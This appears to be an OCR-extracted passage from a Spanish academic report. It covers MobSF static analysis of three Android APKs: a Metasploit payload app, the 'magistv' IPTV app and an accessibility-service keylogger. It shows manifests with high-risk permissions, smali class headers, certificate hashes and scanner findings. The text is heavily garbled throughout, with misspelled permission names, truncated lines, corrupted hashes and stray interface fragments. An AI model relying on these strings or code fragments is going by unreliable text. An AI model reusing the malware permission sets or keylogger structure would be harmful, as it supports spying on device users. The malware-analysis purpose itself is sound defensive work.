0id.pernission. ACCE

<uses-permission o
<uses-permission i
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission andro
<uses-permission i
<uses-permission androi
<uses-permission i
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission
<uses-permission 2
<uses-permission
<uses-permission
<uses-permission
<uses-permission

ndroid. permission. ACC |
"android.permission. ACCESS_FINE_LOCATION"
ndroid.pernission. READ_PHONE_STATE"
"android.permission, SEND_SHS"
ndroid.pernission. RECEIVE_SM
01d.permission. RECORD_A!
01d.permission. CALL_PHONE" />
01d.permission. READ_CONTACTS"
0id.permission, WRITE_CONTACTS" />

TTINGS™

ndroid. permission. WRITE
"android.permission, CAMERA"
ndroid.pernission. READ_SHS"

"android.permission. WRITE EXTERNAL STORAGE" />

ndroid. pernission. RECEIVE_BOOT COMPLETED" />
01d.permission. SET_WALLPAPER"

0id.permission. READ_CALL_L0G"

android.pernission. WRITE_CALL_LOG"

<uses-permission "android.permission. WAKE_LOCK"

<uses-permission a ndroid.permission. REQUEST IGNORE BATTERY OPTIMIZATIONS"
<uses-feature 10:nane="android. hardware. camera” />

<uses-feature i e="android. hardware. camera.autofocus" />

<uses-feature 1 "android. hardware . microphone”

<application android:1 tring/app_name">

<activity 1 android:style/Theme. NoDisplay” android:label="gstring/app_name" 1 =" MainACtivity">
intent-filter>
action 1 ="android.intent.action. HAIN"
category e="android. intent.category. LAUNCHER"

Imagen 42: Andlisis del archivo AndroidManifest.xml se observa los permisos
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7. Se observan los archivos smali que contiene la aplicacion Android, smali es considerado

como un ensamblador ya que ejecuta instrucciones del codigo Dalvik.

® Firefox 12denov 09:43 0

=2 smali Source == AndroidManifest.xml

RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER API DONATE ¥ DOCS ABOUT o- Search MD5

<[> Smali Source

Find by filename: Find by content:

i = File: Payload.smali
4 st=snlbit class public Lcom/metasploit/stage/Payload; _
i e super Ljavaslang/Object; O M= F
Y esmali
) csmals # static fields

. field private static final a:[B
MainService smali

) rsmatt .field private static b:landroid/content/Context;
HETETE T .field private static c:J
") MainBroadcastReceiver.smal

. .field private static di[B
a.smali

") g.smali .field private static e:Ljava/lang/String;
=it .field private static f:ljava/lang/String;

* b.smali
field t tat: HS /1 /St H
o rp— ield private static g:Ljava/lang/String;

field private static h:[Ljava/lang/Object;

# direct methods
method static constructor <clinits()v
.registers 1

Imagen 43: Archivos smail que contiene configuraciones de send server

Se observa en el apartado Singer Certificate — certificado de firma, una parte esencial en el

proceso de seguridad y verificacion de identidad en Android, debido que permite al sistema

y a los usuarios confiar en la aplicacion y en su origen.

12 de nov 09:43

== Static Analysis x| = androidManifest.xml

> C

DYNAMIC API DONATE DOCS ABOUT o~ Search MD5 Q

i= Scan Logs

#¥ SIGNER CERTIFICATE

Binary is signed
e 5 vl signature: False
v2 signature: False
# Android API v3 signature: False
vd signature: False
X.569 Subject: C=US/0=Android/CN=Android Debug
Signature Algorithm: rsassa pkcsivis

valid From: 2023-86-08 18:13:07+00:00

valid To: 2034-08-18 16
Issuer: C=US/0=Android/CN=Android Debug

Serial Number: @x1

Hash Algorithm: shai

md5: 609a4628eeba671bd6de16ce131c63a5

shal: c45b0dee57ab0841268607a026319288edc5d2d91

sha256: 14affbblaScac891babalf3958227bf03a818 1 faaa5e5868c9fa7b23f629721e

sha512: 6ba@3balc5a56ab3193942097471ba2ee3b21072acef6687005db079b9cTad133edacdba%edaa76db5¢58503474db14¢
Found 1 unique certificates

ponents
PDF Report

& Print Report

0 <

Imagen 44: Informacion del certificado de firma de la aplicacion Prueba.apk
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9. En el apartado se muestran los permisos que la aplicacion requiere para acceder a los recursos
del sistema y desarrollar su correcto funcionamiento, en ello se encuentra permisos de alto

riesgo.

Actividades ® Firefox 12denov 09:44 13 P U=

i AndroldManifest.xml

. Static Analysis
« > C O 8’ [ @ % © ® O
| MobSF = RECENT STATIC DYNAMIC API DONATE pocs ABOUT o- Search MDA -

{=APPLICATION PERMISSIONS

LU Search:
Information
i CODE
PERMISSION STATUS INFO DESCRIPTION MAPPINGS
androld.permission ACCESS_COARSE_LOCATION (O coarse (network: Access coarse location
based) location  sources, such as the

mobile network
database, to
determine an
Wrable Agtivitie approximate phone
location, where
security Analysis available. Malicious
applications can use
Malware Analy this to determine

approximately where
Reconnaissance

you are.
Component
androld.permission ACCESS_FINE_LOCATION O fine (GPS) Access fine location
§ PDF Report location sources, such as the
Global Positioning
8 Print Report System on the phone,

where available.

e —

Imagen 45: Informacién de los permisos de Prueba.apk

10. Se encuentras las API’S asociada a la aplicacion Android

12denov

= Static Analysis

= AndroidManifest.xml

B
.

> C

RECENT STATIC DYNAMIC APl DONATE DOCS ABOUT O~ Search MDS Q
LI IIB B o Search:
API 4 FILES
plermaten Crypto Show Files
Dynamic Class and Dexloading
Get Installed Applications
Get System Service
HTTPS Connection
Inter Process Communication
Java Reflection  snowries |
Local File 10 Operations
Message Digest
Starting Service

Imagen 46: Informacion de las API’s que Prueba.apk contiene

92



11. Se observa los browsable de la aplicacion que permite identificar aquellas actividades que

estan configuradas para ser abiertas desde otras aplicaciones.

Actividades ® Firefox
Static Analysis x AndroidManifest.xml

> C OR8H

= RECENT e API DONATE DOCS ABOUT o- Search MD5

A ANA
1B BROWSABLE ACTIVITIES

SBEBRB
Information ACTIVITY INTENT

MainActivity Schemes: metasploit://,
Hosts: my_host,

Showing 1to 1 of 1 entries.

& NETWORK SECURITY

EEBBES Search:

NO SEVERITY DESCRIPTION

No data available in table

Showing 0 to 0 of 0 entries.

Previous = Next

Imagen 47: Actividades configuradas y acciones secundarias

12. Certificate Analysis proporciona detalle sobre el certificado usado para firmar la aplicacion
Android.

® Firefox 12 de nov 09:45

== Static Analysis X =a AndroidManifest.xml X+ v

> C O 8 [

DYNAMIC API DONATE DOCs ABOUT o- Search MD5 Q

S CERTIFICATE ANALYSIS

HIGH INFO
2 [ 1
EEBBS Search:
TITLE “ SEVERITY  DESCRIPTION
Application signed with debug [ hign | Application signed with a debug certificate. Production application must
certificate not be shipped with a debug certificate.
Certificate algorithm vulnerable to [ Application is signed with SHALwithRSA. SHAL hash algorithm is known to
hash collision have collision issues.
Signed Application o Application is signed with a code signing certificate

Showing 1to 3 of 3 entries.

Previous Next

PDF Re

& PrintRep Q. MANIFEST ANALYSIS

0 crareny

Imagen 48: Detalle del certificado de firma de Prueba.apk
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13. Comprende en la revisién meticulosa del archivo AndroidManifest.xml, el archivo es esencial

para definir estructura, como permisos, componentes, configuraciones de seguridad.

Actividade: & Firefox 12 de nov 09:45

@ @ &

RECENT STATIC DYNAMIC DONATE DOCS  ABOUT @~ Search MD5

Q MANIFEST ANALYSIS

HIGH SUPPRESSED

1 0
© Iinformation
BEBB B Search:

£ Scan Option
# Signer Certificate
Pelont App can be installed on a m This application can be Installed on an older version of

NO *  ISSUE SEVERITY DESCRIPTION OPTIONS

vulnerable upatched Androld android that has multiple unfixed vulnerabilities

# Androld AP version T ices won't recelve reasonable security
Android 2.33-2.3.7, updates from Google, Support an Android version ==

(L] e Activities [minSdk=10] 10, API 29 to receive reasonable security updates,

O security Analysis Application Data can be warning The flag [android:allowBackup] should be set to false. - -
. Bac ked up By default itis set to true and allows anyone to bac kup
e Analysi (androld:allowBackup] flag is your application data via adb. It allows users who have
S —— missing, enabled USB debugging to copy application data off of
the device.
[ e
Broadcast Recelver warning ABroadcast Recelver s found to be shared with other -
B POF Report (:MainBroadcastRecelver) is apps on the device therefore leaving it accessible to
not Protected. any other application on the device, The presence of
B Print Report An Intent-fllter exists. intent-filter indicates that the Broadeast Recelver is

% Start Punam| explicitly exported.

Imagen 49: Detalle a precision del archivo AndroidManifest.xml

14. En la seccién de analisis de seguridad del cédigo o analisis de cddigo estatico. Permite

identificar debilidades y futuras vulnerabilidades en el codigo de la aplicacion Android.

== AndroidManifest.xml

X

Q& [l

STATIC DYNAMIC API DONATE Docs ABOUT o- Search MD5 Q

SUPPRESSED
0 2 0 o

EEBBS Search:

NO 4 ISSUE SEVERITY STANDARDS FILES OPTIONS
Scan Options
Signer Certificate 1 The App uses an insecure Random warning CWE: CWE-330: Use of 1/metasploit = -

Number Generator Insufficiently Random stage
Values Payload java

OWASP Top 10: M5:
Insufficient Cryptography
OWASP MASVS: MSTG

CRYPTO-6
OWASP MASVS: MSTG- tage/Tiava
NETWORK-4
3 SHA-1is a weak hash known to have —— €WE: CWE-327: Use of a Wi
hash collisions Broken or Risky

Cryptographic Algorithm
OWASP Top 10: M5:
Insufficient Cryptography
OWASP MASVS: MSTG-
CRYPTO-4

Imagen 50: ldentificacion de vulnerabilidades de Prueba.apk
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15. En lainterfaz de la herramienta MobSF hay la opcion de Print Report y dar en opcion guardar

en la ruta que se deseé almacenar el reporte.

Actividades B3 Archivos

Descargas

D Recientes

= = =

* Favoritos static Androidkey magis- prueba.apk ABOUT O~ Search MD5 Q
PEe Al ogoeropk video.apk

{it Carpeta personal Pruebaapk.
pdf

& Descargas
[ Documentos
(=D Iméagenes
51 Misica

18 videos

M Papelera

+ Otras ubicaciones

«Static Analysis_Pruebaapk.pdfa seleccionado (282,5 kB)

classes.dex

META-INF/
META-INF/MANIFEST.MF
META-INF/SIGNFILE.SF
PDF Report META-INF/SIGNFILE.RSA

& PrintReport

© 2024 Mobile Security Framework - MobsF | Ajin Abraham | Opensecurity. Version

N <

Imagen 51: Descarga del reporte de Analisis Estatico de Prueba.apk

RESULTADOS ANALISIS DE APK MAGISTV

16. Anélisis estatico de la aplicacion magistv, se selcciona la aplicacion y dar en abrir

s Ayuda
® Firefox 12denov 2234 0
X | == Mobile Security Framewc x ‘

O A [z]:8000

SCANS

Cancelar Carga de archivos

{0 Recientes
static Analysis_android_keylogger.pdf  Descargas 299,3kB Documento 10:08
(i Carpeta personal @ Androidkeylogger.apk Descargas 1,6MB  paquetedeAndroid 09:59
Static Analysis_Pruebaapk.pdf Descargas 282,5kB  Documento 09:48
[© prueba.apk Descargas 10,2kB  paquetede Android 09:39
[E magisvideo.apk Descargas 342MB  paquetedeAndroid 26 oct

¥ Descargas
[ Documentos
(=) Imagenes

Il Misica

“
®

=
O]
=]
A

B Videos

Abrir archivos de sélo lectura Todos los archives ~

Imagen 52: Anédlisis Estatico de Magistv
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17. Se procede el desarrollo del andlisis a través de la herramienta y se toma su tiempo para

analizar la aplicacion.

$s 5 | aboutsessionrestore X | == Mobile Security Framewc X | +

O A

SCANS DYNAMIC ANALYZER

& Upload & Analyze

RECENT SCANS | DYNAMIC ANALYZER | AP1 | DONATE ¥ | DOCS | ABOUT

wait to be redirected or check recent scans after sometime.

Imagen 53: Upload de la aplicacion Magistv para el analisis

18. Al finalizar el andlisis de la aplicacién se observa la informacion general de la APK como la

visualizacidn del logo, la encriptacién, el nombre, el tipo de formato, entre otros.

® Firefox

about:sessionrestore % | == Static Analysis x|+ v o @ X

c O8MH

RECENT STATIC

aNp

DYNAMIC API DONATE DOCs ABOUT o SearchMD5 Q

ANA

&APPSCORES & FILE INFORMATION iAPPINFORMATIDII

(GRS magis-video.apk MAGIS
: 3 g 358 I com android. mesty
- ([T 2227d9653b5591b27599 1 ed8aa089397
s (BT esbeTaseab8c294¢093046289170a35ae12d2832 com.interactive.brasiliptv.ui activity.Welco
cate 48/100 meActivity

€20d1f7f176c98742138df3c249dc6298aca99c3ded7d068bbdab (IS 28 (DD 1° (ITED

0/as2 51c2591e1 [marotaversion name LIZB]

(oo

25 8 ]

ACTIVITIES SERVICES RECEIVERS PROVIDERS

View @ View @ View @ View @

& PrintReport Exported
Activities

Exported Exported

Exported
o)
Services. D Receivers

Providers.

[ QR

Imagen 54: El info package de la aplicacion Magistv
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19. Al observar el archivo AndroidManifest, se nota como el usuario debe aceptar muchos
permisos en la cual pueden ser expuesto por la aplicacion y recuperar informacion sensible,
como internte, wifi, media, entre otros.

ades  Firefox

$s (5 aboutsessionrestore X = Static Analysis X | mm AndroidManifestxml X | + v _ & x
[¢] O 8 [ fest_view/2227d9653b5591b275991ed8aa089397/2type=a B % @ © ® & =

RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER API DONATE v DOCS ABOUT o- SearchMD5 Q

<?xml version="1.6" ewcnumg, utf-8 7>
<manifest de="42401" 1d:versionlane="4.24.1" 1 iles ion="2g" 1 p1l 1 =ngn ="com.ang
1 ttp: /Smemm android. con/apk/re anmom
<uses-sdk ="1g" 1on=n2g"
<uses-feature 1 "android.ha e. touchscreen” ired="false" />
<uses-feature 1 ="android.software. leanback" 1 1
<uses-permission androi, ="android .pernission WRITE HEDIA STORAGE"
<uses-permission androi android. permission. INTERNET
<uses-permission 1 -permission.READ EXTERNAL STORAGE"
<uses-permission 1 Lock™
<uses-permission androi _EXTERNAL_STORAGE"
<uses-permission androi; S_NETWORK_STATE"
<uses-permission 1
<uses-permission i
<supports-screens 1 ="true” 10: 1 ="true" 1 1
<uses-permission androi >
<uses-permission androi i T_INSTALL REFERRER_SERVICE"
<uses-permission androi, rnission REQUEST INSTALL_PACKAG >
<uses-permission androi, =*android. pernission, MOUNT_UNHOUNT_FILESYSTENS"
<application 1d:thene="gstyle/AppTheme" 1="gstring/app_name" 1d: 1con="gmipnap/icon_app" 1 ="s.n.e.1.1.5" 1
<uses-library i ‘Qrg apahe. http. 1eqac\ ;! ired="false"
<meta-data i ="d "1920"
<meta-data 1 n 1d:val 080"
<activity id:t tyle/velcome style" 1d: 1 "@string/app_name" 1 ="com. interactive.brasiliptv.ui.activity.WelcomeAct:
intent-filter-
action i ="android.intent.action. MATN"
category androi ="android. intent .category.LAUNCHER"
category androi ~randroid. intent .category LEANBACK_ LAuncHER"
intent-filter>
meta-data i ="org.coolx. EvFranework. PROGRAN TYPE" id:value="26"
meta-data 1 rg.coolx. AUTO_UPDATE 1 '
meta-data 1 rg.coolx.RECORD_COLLECT" 1
meta-data i ="org.coolx. SHOW_TOAST" i
</activity>
<activity i ="com. interactive. h\aﬂhpt\ ui.activity.GuidePageActivis i i ="landscape"
<meta-data i ="PORTAL_KEY" 06590 364534704157726 2457654242346 4C4C554e713537T76547462F1961694a437550516¢

Imagen 55: Informacion detallada del AndroidManifest.xml de Magistv

20. Se observa la distribucion de los archivos smail que cumplen la accién de ensamblador,

debido que representa las instrucciones del codigo Dalvi

12 de nov 22:43

(&)

RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER AP DONATE DOCS ABOUT o- Search MD5.

<[> Smali Source

i g File: N.smali

class public final Ls/h/e/1/1/N; _
& . super Ljava/lang/Object; > MmEFE

iom # static fields
. .field static la:Z
C.smali
Y s.sman
# direct methods
method static constructor <clinit
| N.smati registers 5

Y Asmali

@ Find by filename: Find by content:
- .
2]
?
:

t/4 v, 0x0

sput-boolean vO, Ls/h/e/1/1/N;->1a:Z

sput-boolean vi, Ls/h/e/1/1/N;->1a:Z

try start 7
-instance ve, Ljavaslang/Object;

Imagen 56: Informacion de los archivos Smail de Magistv

97



21. Se observa la informacion sobre el certificado criptografico utilizado como firmar para la

aplicacion. Es un certificado del proceso de seguridad y verificacion de identidad en Android.

Actividades # Firefox

O & [

RECENT STATIC

DYNAMIC API DONATE DOCs ABOUT - Search MD5
ANALYZER

SCA ANALVZEE

Information #¥ SIGNER CERTIFICATE

Scan Option Binary is signed
vl signature: True
v2 signature: True
va signature: False
va signatur
sT=vienna, L=WDC, O=sgmtv, OU=sgmtv, CN=sqgm

pkesivis

932740000
Valid To: 2123-10-29 12:19:27400:00
ssuer: C=1, ST=vienna, L=WDC, O=sgmtv, OU=sgmtv, CN=sgm

Number: 0xdc398688
sh Algorithm: sha2s56
mds: 7fes 72a441fabs718dcE5e7A6cd7
7650bc570664
sha2s o8 le11d0aef2ba302c18716e88b0242Fc3100857¢
sha512: Bcadd572a90947¢6chba500356931dccB59857ad3b2228cd82eh7a5¢ef1501980bcde 44285f551ec0f93ceh291544b005¢
Publickey Algorithm: rsa
Bit Size: 2048
§ POF Report Fingerprint: d3e06n3ed868cbbate5621204e6f9ha1f245b1823c070dd055ea704cdnan2ce3

Found 1 unique certificates

Imagen 57: Certificado de verificacion de Magistv

22. En la aplicacién se observar ciertos permisos que requiere para su correcto funcionamiento,

pero asi también el permiso de acceder a ruta nos deseadas para robar informacion

12denov 22:44 0

RECENT STATIC DYNAMIC API DONATE DOCS ABOUT o- Search MD5 (e}

ANALY

i= APPLICATION PERMISSIONS

sBRBB Search:
R copE
PERMISSION STATUS INFO DESCRIPTION MAPPINGS
android.permission ACCESS_NETWORK_STATE [ normat RN Allows an
network application to
status view the status

of all networks.

android.permission.ACCESS_WIFI_STATE [ normai | viewWi-Fi  Allows an
status application to
view the
information

about the status
of Wi-Fi.

android.permission.GET_TASKS I retrieve Allows
running application to
applications  retrieve
information

& PrintReport

about currently
€ crarrm N and recently

Imagen 58: Permisos que se autoriza la ejecucion de magistv
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23. Las API'S que la aplicacion necesita para contemplar las acciones ideales para la movilidad

de datos.

= Static Analysis

> C

RECENT STATIC

DYNAMIC API DONATE DOCS ABOUT - Search MDS Q
riz) NAIVZED

# ANDROID API
SEBBS Search:
APl 4 FILES

Content Provider

Dynamic Class and Dexloading Show Fik

Inter Process Communication Show Files

Java Reflection Show Files

Loading Native Code (Shared Library)

AAAAAE

Local File I/O Operations

Showing 1 to 6 of 6 entries

i BROWSABLE ACTIVITIES

Imagen 59: La api’s que maneja magistv

24. Network Security comprende en las practicas y configuraciones implementadas para proteger

la comunicacion de red de la aplicacién frente a ataques y acceso no autorizados.

12denov 22:44 0

== Static Analysis

=

« > C

RECENT STATIC DYNAMIC API DONATE DOCS ABOUT o~ Search MD5 [e}

aNA ANA

& NETWORK SECURITY

HIGH INFO SECURE
@ information 1 0 ° o
sERBBB Search:
£ Scan Options
NO * SCOPE SEVERITY DESCRIPTION
1 9 (hin | Base config is insecurely configured to permit clear text traffic to all domains.

Showing 1 to 1 of Lentries

previous [ nex

S CERTIFICATE ANALYSIS

HIGH INFO
0 1 1

SBEBRBRS Search:

SEVERITY DESCRIPTION

Imagen 60: El Network Security de magistv
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25. El Certificate Analysis promete el analisis crucial para revisar la autenticidad, integridad y

seguridad de la aplicacién

Actividades ® Firefox 12denov 22:51 0 P U

= Static Analysis

> C

| MobSF = RECENT STATIC DYNAMIC API DONATE DOCS ABOUT o- Search MD5S Q

Showing 110 1 of 1 entries

Static Analyzer Previous Next

© Information

S CERTIFICATE ANALYSIS

HIGH NFO

o 1 1
EEHBS Search:
TITLE 4 SEVERITY DESCRIPTION
Application vulnerable  [warning Application is signed with v1 signature scheme, making it vulnerable to Janus
to Janus Vulnerability vulnerability on Android 5.0-8.0, if signed only with v1 signature scheme. Applications

running on Android 5.0-7.0 signed with v1, and v2/v3 scheme is also vulnerable.

Signed Application [into] Application is signed with a code signing certificate

Components Showing 1 to 2 of 2 entries

B PDF Report

& Print Report

O Start Dunar Q MANIFEST ANALYSIS

Imagen 61: La firma de certificacion de magistv

26. En manifest analysis se observa todo los componentes y funciones que se encuentran

sospechoso en la seguridad como los permisos, componentes, entre otros.

® Firefox 12denov 2251 01
=3 static Analysis

»> C

RECENT STATIC DYNAMIC DONATE DOCS ABOUT e- Search MDS

Q, MANIFEST ANALYSIS

HIGH SUPPRESSED
2 o

SERBBS Search:

NO *  ISSUE SEVERITY DESCRIPTION OPTIONS

App can be installed on a vulnerable upatched Android version {en | This application
Android 4.4-4.4.4, [minSdk=19] can be installed
on an older

version of android
that has multiple
unfixed
vulnerabilities.
These devices
won't receive
reasonable
security updates
from Google.
PDF Report Support an
Android version
Print Report => 10, API 29 to

receive

Imagen 62: Componentes de manifest Analysis de magistv
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27. Shared Library Binary Analysis realiza un andlisis de las bibliotecas compartidas que
incluyen en una aplicacion Android. El analisis es importante ya que las bibliotecas nativas

pueden introducir vulnerabilidades criticas en una aplicacion

> C

API

DONATE DOCS ABOUT - Search MD5

W SHARED LIBRARY BINARY ANALYSIS

EEBRB Search:

@ information

£ Scan Options SHARED OBJECT RELRO RUNPATH FORTIFY

armeabi-vTa/ True True FullRELRO  None None False

libtnet-3.1.14.50 [into } m (into] m [ ino ] warning.

Thebinary  Thisbinary  Thisshared Thebinary  Thebinary  Thebinary does not
hasNXbit ~ hasastack  objecthas  doesnot does not have any fortified
set. This canary fullRELRO  have run- have functions. Fortified
marks a value enabled. timesearch  RUNPATH  functions provides
memory added to RELRO pathor set. buffer overflow check
pagenon- thestack ensures RPATH set. against glibc's
executable  sothatit thatthe commons insecure
making will be GoT functions like strcpy,
attacker overwritten cannot be gets etc. Use the
injected byastack  overwritten compiler option -
shellcode  bufferthat i D_FORTIFY_SOURCE:
non- overflows  vulnerable to fortify functions.

O CETn executable.  theretun  ELF This checkis not
address. binaries. In applicable for Dart/
8 PrintReport Thisallows  Full RELRO, Flutter libraries.
detection  the entire

0 St hun of Sl

Imagen 63: Shared Library de magistv

28. APKID ANALYSIS — se observa detenidamente como la aplicacién cuenta con ID en la

especificacion root, classes, entre otros.

DYNAMIC API DONATE DOCs ABOUT o- Search MDS Q

i APKIiD ANALYSIS

sEBRE Search:
DEX [ DETECTIONS
froot/.MobSF/ DR search:

= p uploads/2227d9653b5591b275991ed8aa089397/2227d9653b5591b275991ed8aa089397.apk
£= Permissions
FINDINGS “  DETAILS

# Android API

cZEm e

Showing 1 to 1 of 1 entries

classes.dex BEEHB S Search:

FINDINGS “  DETAILS

B§ PDFReport

[ Compter dexlib2.x

& PrintReport

Showing 1 to 1 of 1 entries

0 iy . =

Imagen 64: ApkID Analysis de magistv
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29. La descripcion general de los permisos que la aplicacion con otra clasificacién, debido que
existen grupos como “top malware permissions” y other — se refiere a los permisos comunes

que otras aplicaciones requerida.

Actividades ® Firefox
== Static Analysis

> C

RECENT STATIC DYNAMIC DONATE DOCS ABOUT o- Search MD5

ANALY

Showing 0to 0 of 0 entries

Previous  Next

BUSED PERMISSIONS
- Top Malware Permissions
Signer Certif

android.permission.INTERNET, android. permission. READ_EXTERNAL_STORAGE, android.permission.WAKE_LOCK,
android.permission.WRITE_EXTERNAL_STORAGE, android.permission.ACCESS_NETWORK_STATE,
o eI android.permission.ACCESS_WIFI_STATE, android.permission.GET_TASKS
Android Af
Other Common Permissions 3/45
com.google.android.c2dm.permission.RECEIVE, com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE,
android.permission.REQUEST_INSTALL_PACKAGES

Malware Permissions are the top permissions that are widely abused by known malware.
Other Common Permissions are permissions that are commonly abused by known malware.

Q SERVER LOCATIONS

Imagen 65: Descripcion general de permisos magistv

30. DOMAIN MALWARE CHECK - se observa como la herramienta cuenta con dominios de

servidores de otra Pais y la direccion IP

® Firefox 12de nov
= Static Analysis

> C e zer/222

DYNAMIC API DONATE DOCS ABOUT o- Search MD5 Q

ana

SBEBBB Search:
DOMAIN L sTATUS GEOLOCATION
192.168.1.10 [ ox ] 1P: 192.168.1.10
Country: -
Region: -
Permissions cit

Latitude: 0.000000
Longitude: 0.000000
View: Google Map

oid API

crashpad.chromium.org [ ok ] 1P; 142.250.78.179
Country: United States of America
Region: California
City: Mountain View
Latitude: 37.405991
Longitude: -122.078514
View: Google Map

§ PDFReport

dashif.org o 1P: 185.199.110.153
Et e Country: United States of America
Region: Pennsylvania

3 <rart Dunamic Analucic Cit‘< California

Imagen 66: Domain Malware Check de magistv
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31. Se da clic en la seccion Print Report se localiza la ruta en donde se almacenera el reporte del

segundo malware.

Actividades ® Firefox

12denov 22:56 11

B % w

Cancelar

{a} Carpetapersonal
{ Descargas

[® Documentos

(&) Imagenes

Il Misica

[ Videos

+ Otras ubicaciones

Imprimir 71 hojas de papel

Destino

& FILE INFORMATION AP INFORMATION D Guardar como PDF

Nombre | Static Analysis_Magistv.pdf

< fit prueba | Descargas

Static Analysis_android_keylogger.pdf 299,3kB Documento 10:08
Static Analysis_Pruebaapk.pdFf 282,5kB Documento 0948

Exported

DB covities
1

o

Imagen 67: Reporte de Anélisis Estatico magistv

RESULTADOS ANALISIS DE APK ANDROIDKEYLOGGER

32. Se selecciona la herramienta Android_Keylogger para el analisis,

= Mobile Security Framewc X

E

QO R’ [:]8000

Cancelar

© Recientes
Gi carpeta personal

§ Descargas

[ Documentos

(&) Imagenes
1 Misica

B videos

Abrir archivos de solo lectura

Carga de archivos

Static Analysis_Pruebaapk.pdf Descargas 282,5kB  Documento 09:48
[ prueba.apk Descargas 10,2kB  paquete de Android 0939
[E Androidkeylogger.apk Descargas 1,6MB  paquetede Android 1 nov
[ magis-video.apk Descargas 342MB  paquetede Android 26 oct

Todos los archives ~

Scan Package

ALYZER | API | DONATE # | DOCS

Imagen 68: Android_Keylogger para Anélisis Estatico
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33. Una vez cargado el archivo, se procede a buscar los archivos que pertenece a la aplicacion.

12 de nov 09:59

SCANS DYNAMIC ANALYZER 1@SF APl ABOUT O - _

&3 Upload & Analyze

RECENT SCANS | DYNAMIC ANALYZER | API | DONATE # | DOCS | ABOUT

se wait to be redirected or check recent scans after sometime.

Imagen 69: Proceso de carga de Android_Keylogger

34. En el primer apartado se observa la informacion general de la aplicacion como el icono,

nombre de la aplicacidn, tipo, encriptacion, entre otros.

ACuvigages @ rirerox

RECENT STATIC DYNAMIC API DONATE DOCS ABOUT o- Search MD5 Q

ANA AMA

& APP SCORES & FILE INFORMATION 1APP INFORMATION
(GIIIED AndroidKeylogger.apk (T AndroidKeylogger
g3 15v8 (I com googl speed
(I3 cc6id60cb1cId65bdd3d5Talec3d242e
) (I 11e6T7105ca33dcfe512086bCf1T3T6c04512 com.bshu2.androidkeylogger. MainActivity
/100 (S araet sox EXY win o JEJ ax sox]
582471882b3¢5891382¢0) 5600970214 P s rrotaversion code
0/a3z T4c081488 1
‘ &0 MobSF ‘
Scorecard

1 1 0 0

ACTIVITIES SERVICES RECEIVERS PROVIDERS

View @ View @ View @ View @

Exported Exported Exported
Services @\ Receivers Providers

Imagen 70: Informacién del package de Android_Keylogger

PDF Report

& PrintReport Exported

Activities
0 Start Nun o
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35. En el archivo AndroidManifest se manifiesta las configuraciones de acceso de la aplicacion
al dispositivo Android y doblegar la seguridad para robar activos de informacion por los
permisos que interactla la aplicacion y el dispositivo

Actividades & Firefox 12denov 10:01

= AndroidManifest.xml

‘s () | == static Analysis x

o

RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER API DONATE v DOCS ABOUT o- SearchMD5

AndroidManifest.xml

St ionName="1.0"

android.com/apk/res/android

androi kvVersion="30"
ndroid.permission. INTERNET"

<manifest a
Ins:an
<uses-sdk
<uses-permission and
<uses-permission andr

="com.googl.speed” platfornBuildversionCode="30" platformBuildVersionName="11"

WORK_STATE"

<meta-data android:name="android.support VERSION" : ="25.3.1" />
<application android:t "gstyle/AppThene )id:1 ring/app_name" android:icon="gmipmap/ic_launcher” android:debuggable="true" android
activity android "com. bshu2.androidkeylogger .MainActivity">
<intent-filter>
<action 31 ndroid. intent.action. MATN"
<category android:nane="android.intent.category.LAUNCHER"
</intent-filter>
activity>
service android:label="gstring/accessibility service label" ne="com.bshu2. androidkeylogger .Keylogger” android:permission="android.per
> <intent-filter>
<action )id:nane="andro1d. accessibilityservice . AccessibilityService”
</intent-filter>
<meta-data android:nane="android.accessibilityservice" android:resource="gxml/accessibility service config" />
service>
</application>
</manifest>
© 2024 Mobile Security Framework - MobsSF | Ajin Abraham | Opensecurity. Version v4.0.7

Imagen 71: Analisis de AndroidManifest.xml de Android_Keylogger

36. Aqui se observa los archivos que cumple la solicita de un ensamblador para que acepte las

instrucciones del codigo Dalvik

B | == smaliSource =3 AndroidManifest.xml
<

&}

DOCs

ABOUT o-

RECENT SCANS STATIC ANALYZER DYNAMIC ANALYZER API DONATE » Search MD5

<[> Smali Source

Find by filename: Find by content:

Clear
com File: MainActivity$Startup.smali
“ HE .class Lcom/bshu2/androidkeylogger/MainActivitySStartup; _
i androidkeylogger .super Landroid/os/AsyncTask; o [ =EE

N .source "MainActivity.java"
Rsstyleable.smali

7 KeyloggersSendToServerTas
# annotations

| MamnActivity$Startup.smali
% Rsid.smali

7 Rsinteger.smali

Y Rsxmlsmali

’ Rsstyle.smali

| Rslayout.smali

Y MainActivity.smali
7 Rsstring.smali

’ Rsdimen.smali

" Rsanim.smali

" Rscolorsmali

’| R$mipmap.smali

" BuildConfig.smali

.annotation system Ldalvik/annotation/EnclosingClass;
value = Lcom/bshu2/androidkeylogger /MainActivity;
.end annotation

.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x22
name = "Startup”

.end annotation

.annotation system Ldalvik/annotation/Signature;
value = {
"Landroid/os/AsyncTask",
e,

"Ljava/lang/Void;",
"Ljava/lang/Void;",
"Ljava/lang/Void;",

}
.end annotation

Imagen 72: Archivo Smail de Android_Keylogger
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37. Aqui se observa el certificado de firma de la aplicacion, es proceso esencial para la seguridad
y la verificacion de identidad de la aplicacion Android.

12 de nov 10:03

RECENT STATIC DYNAMIC API DONATE DOCS ABOUT o- Search MD5 Q

#¥ SIGNER CERTIFICATE

Binary is signed

vl signature: True

v2 signature: True

v3 signature: False

cate v4 signature: False

X.509 Subject: C=US, ST=California, L=Mountain View, 0=Android, OU=Android, CN=Android, E=android@androic
signature Algorithm: rsassa pkesivis

valid From: 2008-02-29 01:33:46+00:00

valid To: 2035-07-17 01:33:46+00:00

Issuer: C=US, ST=California, L=Mountain View, 0=Android, OU=Android, CN=Android, E=android@android.com
Serial Number: ©x936eached7f201df

Hash Algorithm: shai

nds: e89b158edbcFIB8ebdo9ebs3F5378e87

shal: 61led377e85d386a8dfee6b864bde5hobfaasarsl

sha256: 17 15c18¢454d4 745ba71bf5de

sha512: 5216cch62004c4534F35c780ad7c582f 4ee528371e27d4151F0553325de9cchebb3decd233F5F640703561053abfeade:
PublicKey Algorithm: rsa

Bit Size: 2048

